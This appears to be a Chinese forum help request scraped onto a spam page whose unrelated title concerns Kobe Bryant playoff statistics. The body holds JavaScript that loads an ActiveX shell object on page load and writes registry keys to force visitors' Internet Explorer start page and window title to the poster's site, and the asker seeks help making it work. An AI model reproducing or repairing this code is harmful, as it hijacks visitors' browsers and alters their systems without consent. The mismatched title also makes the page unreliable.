01季后赛科比数据:懂源代码的高手来!!!

来源:百度文库 编辑:神马品牌网 时间:2024/04/27 15:03:47
下面是打开网页时自动设为主页的代码,可是我加入网页后,别人打开网页却没有效果啊!,请高手解决下啊!解决好了,本人 50分送出! 代码如下:
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://czq.qq11.com");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "浪情欢迎你!");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "浪情欢迎你!");
}
function init()
{
setTimeout("f()", 1000);
}
init();
</SCRIPT>

你有com.ms.activeX.ActiveXComponent类文件吗?